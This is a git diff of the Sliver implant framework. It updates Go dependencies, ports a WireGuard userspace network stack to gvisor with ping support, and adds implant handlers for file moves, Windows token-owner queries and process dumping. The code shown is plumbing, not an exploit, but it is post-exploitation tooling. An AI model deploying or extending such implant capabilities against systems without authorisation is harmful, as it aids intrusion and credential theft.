golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
modernc.org/sqlite v1.16.0
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -106,19 +103,19 @@ require (
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.3.0 // indirect
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.0 // indirect
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
modernc.org/cc/v3 v3.35.18 // indirect
|
||||
modernc.org/ccgo/v3 v3.12.95 // indirect
|
||||
modernc.org/libc v1.11.104 // indirect
|
||||
modernc.org/cc/v3 v3.35.24 // indirect
|
||||
modernc.org/ccgo/v3 v3.15.18 // indirect
|
||||
modernc.org/libc v1.14.12 // indirect
|
||||
modernc.org/mathutil v1.4.1 // indirect
|
||||
modernc.org/memory v1.0.5 // indirect
|
||||
modernc.org/memory v1.0.7 // indirect
|
||||
modernc.org/opt v0.1.1 // indirect
|
||||
modernc.org/strutil v1.1.1 // indirect
|
||||
modernc.org/token v1.0.0 // indirect
|
||||
|
||||
+19
-19
@@ -1,24 +1,24 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.16
|
||||
go 1.17
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
golang.zx2c4.com/wireguard/windows v0.5.1
|
||||
google.golang.org/protobuf v1.23.0
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/windows v0.5.1
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
google.golang.org/protobuf v1.23.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
)
|
||||
@@ -178,6 +178,28 @@ func rmHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mvHandler(data []byte, resp RPCResponse) {
|
||||
mvReq := &sliverpb.MvReq{}
|
||||
err := proto.Unmarshal(data, mvReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
move := &sliverpb.Mv{}
|
||||
err = os.Rename(mvReq.Src, mvReq.Dst)
|
||||
if err != nil {
|
||||
move.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(move)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mkdirHandler(data []byte, resp RPCResponse) {
|
||||
mkdirReq := &sliverpb.MkdirReq{}
|
||||
err := proto.Unmarshal(data, mkdirReq)
|
||||
|
||||
@@ -37,6 +37,7 @@ var (
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
|
||||
@@ -40,6 +40,7 @@ var (
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
|
||||
@@ -34,6 +34,7 @@ var (
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
@@ -48,6 +49,7 @@ var (
|
||||
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
|
||||
@@ -65,6 +65,7 @@ var (
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
|
||||
// Platform specific
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
@@ -89,6 +90,7 @@ var (
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
@@ -176,6 +178,26 @@ func revToSelfHandler(_ []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func currentTokenOwnerHandler(data []byte, resp RPCResponse) {
|
||||
tokOwnReq := &sliverpb.CurrentTokenOwnerReq{}
|
||||
err := proto.Unmarshal(data, tokOwnReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
getCT := &sliverpb.CurrentTokenOwner{}
|
||||
owner, err := priv.CurrentTokenOwner()
|
||||
if err != nil {
|
||||
getCT.Response = &commonpb.Response{Err: err.Error()}
|
||||
}
|
||||
getCT.Output = owner
|
||||
data, err = proto.Marshal(getCT)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func getsystemHandler(data []byte, resp RPCResponse) {
|
||||
getSysReq := &sliverpb.InvokeGetSystemReq{}
|
||||
err := proto.Unmarshal(data, getSysReq)
|
||||
|
||||
+347
-96
@@ -1,7 +1,6 @@
|
||||
/* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
|
||||
* https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
|
||||
*/
|
||||
|
||||
package netstack
|
||||
@@ -14,7 +13,9 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -22,15 +23,17 @@ import (
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
|
||||
"golang.org/x/net/dns/dnsmessage"
|
||||
"inet.af/netstack/tcpip"
|
||||
"inet.af/netstack/tcpip/adapters/gonet"
|
||||
"inet.af/netstack/tcpip/buffer"
|
||||
"inet.af/netstack/tcpip/header"
|
||||
"inet.af/netstack/tcpip/network/ipv4"
|
||||
"inet.af/netstack/tcpip/network/ipv6"
|
||||
"inet.af/netstack/tcpip/stack"
|
||||
"inet.af/netstack/tcpip/transport/tcp"
|
||||
"inet.af/netstack/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/buffer"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/header"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/stack"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/waiter"
|
||||
)
|
||||
|
||||
type netTun struct {
|
||||
@@ -39,11 +42,14 @@ type netTun struct {
|
||||
events chan tun.Event
|
||||
incomingPacket chan buffer.VectorisedView
|
||||
mtu int
|
||||
dnsServers []net.IP
|
||||
dnsServers []netip.Addr
|
||||
hasV4, hasV6 bool
|
||||
}
|
||||
type endpoint netTun
|
||||
type Net netTun
|
||||
|
||||
type (
|
||||
endpoint netTun
|
||||
Net netTun
|
||||
)
|
||||
|
||||
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
|
||||
e.dispatcher = dispatcher
|
||||
@@ -75,12 +81,16 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
|
||||
|
||||
func (*endpoint) Wait() {}
|
||||
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
@@ -91,10 +101,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
|
||||
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
|
||||
}
|
||||
|
||||
func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
|
||||
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
|
||||
opts := stack.Options{
|
||||
NetworkProtocols: []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
|
||||
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
|
||||
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
|
||||
HandleLocal: true,
|
||||
}
|
||||
dev := &netTun{
|
||||
@@ -109,17 +119,23 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
|
||||
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
|
||||
}
|
||||
for _, ip := range localAddresses {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if ip.Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else if ip.Is6() {
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
protoAddr := tcpip.ProtocolAddress{
|
||||
Protocol: protoNumber,
|
||||
AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
|
||||
}
|
||||
tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
|
||||
}
|
||||
if ip.Is4() {
|
||||
dev.hasV4 = true
|
||||
} else {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
} else if ip.Is6() {
|
||||
dev.hasV6 = true
|
||||
}
|
||||
}
|
||||
@@ -129,10 +145,6 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
|
||||
if dev.hasV6 {
|
||||
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
|
||||
}
|
||||
// tcpipErr = dev.stack.SetPromiscuousMode(1, true)
|
||||
// if tcpipErr != nil {
|
||||
// return nil, nil, fmt.Errorf("SetPromiscuousMode: %v", tcpipErr)
|
||||
// }
|
||||
|
||||
dev.events <- tun.EventUp
|
||||
return dev, (*Net)(dev), nil
|
||||
@@ -195,62 +207,291 @@ func (tun *netTun) MTU() (int, error) {
|
||||
return tun.mtu, nil
|
||||
}
|
||||
|
||||
func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip4),
|
||||
Port: uint16(port),
|
||||
}, ipv4.ProtocolNumber
|
||||
func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if endpoint.Addr().Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip),
|
||||
Port: uint16(port),
|
||||
}, ipv6.ProtocolNumber
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(endpoint.Addr().AsSlice()),
|
||||
Port: endpoint.Port(),
|
||||
}, protoNumber
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.ListenTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
var lfa, rfa *tcpip.FullAddress
|
||||
var pn tcpip.NetworkProtocolNumber
|
||||
if laddr != nil {
|
||||
if laddr.IsValid() || laddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
|
||||
addr, pn = convertToFullAddr(laddr)
|
||||
lfa = &addr
|
||||
}
|
||||
if raddr != nil {
|
||||
if raddr.IsValid() || raddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
|
||||
addr, pn = convertToFullAddr(raddr)
|
||||
rfa = &addr
|
||||
}
|
||||
return gonet.DialUDP(net.stack, lfa, rfa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
return net.DialUDPAddrPort(laddr, netip.AddrPort{})
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
var la, ra netip.AddrPort
|
||||
if laddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(laddr.IP)
|
||||
la = netip.AddrPortFrom(ip, uint16(laddr.Port))
|
||||
}
|
||||
if raddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(raddr.IP)
|
||||
ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
|
||||
}
|
||||
return net.DialUDPAddrPort(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
return net.DialUDP(laddr, nil)
|
||||
}
|
||||
|
||||
type PingConn struct {
|
||||
laddr PingAddr
|
||||
raddr PingAddr
|
||||
wq waiter.Queue
|
||||
ep tcpip.Endpoint
|
||||
deadline *time.Timer
|
||||
}
|
||||
|
||||
type PingAddr struct{ addr netip.Addr }
|
||||
|
||||
func (ia PingAddr) String() string {
|
||||
return ia.addr.String()
|
||||
}
|
||||
|
||||
func (ia PingAddr) Network() string {
|
||||
if ia.addr.Is4() {
|
||||
return "ping4"
|
||||
} else if ia.addr.Is6() {
|
||||
return "ping6"
|
||||
}
|
||||
return "ping"
|
||||
}
|
||||
|
||||
func (ia PingAddr) Addr() netip.Addr {
|
||||
return ia.addr
|
||||
}
|
||||
|
||||
func PingAddrFromAddr(addr netip.Addr) *PingAddr {
|
||||
return &PingAddr{addr}
|
||||
}
|
||||
|
||||
func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
|
||||
if !laddr.IsValid() && !raddr.IsValid() {
|
||||
return nil, errors.New("ping dial: invalid address")
|
||||
}
|
||||
v6 := laddr.Is6() || raddr.Is6()
|
||||
bind := laddr.IsValid()
|
||||
if !bind {
|
||||
if v6 {
|
||||
laddr = netip.IPv6Unspecified()
|
||||
} else {
|
||||
laddr = netip.IPv4Unspecified()
|
||||
}
|
||||
}
|
||||
|
||||
tn := icmp.ProtocolNumber4
|
||||
pn := ipv4.ProtocolNumber
|
||||
if v6 {
|
||||
tn = icmp.ProtocolNumber6
|
||||
pn = ipv6.ProtocolNumber
|
||||
}
|
||||
|
||||
pc := &PingConn{
|
||||
laddr: PingAddr{laddr},
|
||||
deadline: time.NewTimer(time.Hour << 10),
|
||||
}
|
||||
pc.deadline.Stop()
|
||||
|
||||
ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
|
||||
if tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
|
||||
}
|
||||
pc.ep = ep
|
||||
|
||||
if bind {
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
|
||||
if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping bind: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
if raddr.IsValid() {
|
||||
pc.raddr = PingAddr{raddr}
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
|
||||
if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping connect: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
return pc, nil
|
||||
}
|
||||
|
||||
func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
|
||||
return net.DialPingAddr(laddr, netip.Addr{})
|
||||
}
|
||||
|
||||
func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
|
||||
var la, ra netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
if raddr != nil {
|
||||
ra = raddr.addr
|
||||
}
|
||||
return net.DialPingAddr(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
|
||||
var la netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
return net.ListenPingAddr(la)
|
||||
}
|
||||
|
||||
func (pc *PingConn) LocalAddr() net.Addr {
|
||||
return pc.laddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) RemoteAddr() net.Addr {
|
||||
return pc.raddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) Close() error {
|
||||
pc.deadline.Reset(0)
|
||||
pc.ep.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetWriteDeadline(t time.Time) error {
|
||||
return errors.New("not implemented")
|
||||
}
|
||||
|
||||
func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
|
||||
var na netip.Addr
|
||||
switch v := addr.(type) {
|
||||
case *PingAddr:
|
||||
na = v.addr
|
||||
case *net.IPAddr:
|
||||
na, _ = netip.AddrFromSlice(v.IP)
|
||||
default:
|
||||
return 0, fmt.Errorf("ping write: wrong net.Addr type")
|
||||
}
|
||||
if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
|
||||
return 0, fmt.Errorf("ping write: mismatched protocols")
|
||||
}
|
||||
|
||||
buf := buffer.NewViewFromBytes(p)
|
||||
rdr := buf.Reader()
|
||||
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
|
||||
// won't block, no deadlines
|
||||
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
|
||||
To: &rfa,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
|
||||
}
|
||||
|
||||
return int(n64), nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Write(p []byte) (n int, err error) {
|
||||
return pc.WriteTo(p, &pc.raddr)
|
||||
}
|
||||
|
||||
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
|
||||
e, notifyCh := waiter.NewChannelEntry(nil)
|
||||
pc.wq.EventRegister(&e, waiter.EventIn)
|
||||
defer pc.wq.EventUnregister(&e)
|
||||
|
||||
select {
|
||||
case <-pc.deadline.C:
|
||||
return 0, nil, os.ErrDeadlineExceeded
|
||||
case <-notifyCh:
|
||||
}
|
||||
|
||||
w := tcpip.SliceWriter(p)
|
||||
|
||||
res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
|
||||
NeedRemoteAddr: true,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
|
||||
}
|
||||
|
||||
remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
|
||||
return res.Count, &PingAddr{remoteAddr}, nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Read(p []byte) (n int, err error) {
|
||||
n, _, err = pc.ReadFrom(p)
|
||||
return
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetDeadline(t time.Time) error {
|
||||
// pc.SetWriteDeadline is unimplemented
|
||||
|
||||
return pc.SetReadDeadline(t)
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetReadDeadline(t time.Time) error {
|
||||
pc.deadline.Reset(t.Sub(time.Now()))
|
||||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
errNoSuchHost = errors.New("no such host")
|
||||
errLameReferral = errors.New("lame referral")
|
||||
@@ -426,7 +667,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
|
||||
return p, h, nil
|
||||
}
|
||||
|
||||
func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
q.Class = dnsmessage.ClassINET
|
||||
id, udpReq, tcpReq, err := newRequest(q)
|
||||
if err != nil {
|
||||
@@ -440,16 +681,19 @@ func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Quest
|
||||
var c net.Conn
|
||||
var err error
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
if d, ok := ctx.Deadline(); ok && !d.IsZero() {
|
||||
c.SetDeadline(d)
|
||||
err := c.SetDeadline(d)
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
}
|
||||
var p dnsmessage.Parser
|
||||
var h dnsmessage.Header
|
||||
@@ -593,8 +837,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
zlen = zidx
|
||||
}
|
||||
}
|
||||
if ip := net.ParseIP(host[:zlen]); ip != nil {
|
||||
return []string{host[:zlen]}, nil
|
||||
